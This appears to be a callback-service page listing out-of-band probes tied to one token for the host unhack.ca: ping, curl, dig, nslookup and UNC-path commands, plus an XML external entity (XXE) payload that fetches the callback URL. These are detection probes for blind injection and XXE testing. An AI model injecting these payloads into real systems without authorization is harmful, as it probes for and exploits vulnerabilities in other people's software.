$ ping -c1 -p 0046ccececeddf6511ddb4febb031000 unhack.ca
 

$ curl http://unhack.ca/p/46ccececeddf6511ddb4febb0310
 

$ dig 46ccececeddf6511ddb4febb0310 @unhack.ca
 

$ dig 46ccececeddf6511ddb4febb0310.ns.unhack.ca
 

C:\> nslookup 46ccececeddf6511ddb4febb0310 unhack.ca
 

C:\> type \\unhack.ca\46ccececeddf6511ddb4febb0310\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/46ccececeddf6511ddb4febb0310">]>
    <foo>&xxe;</foo>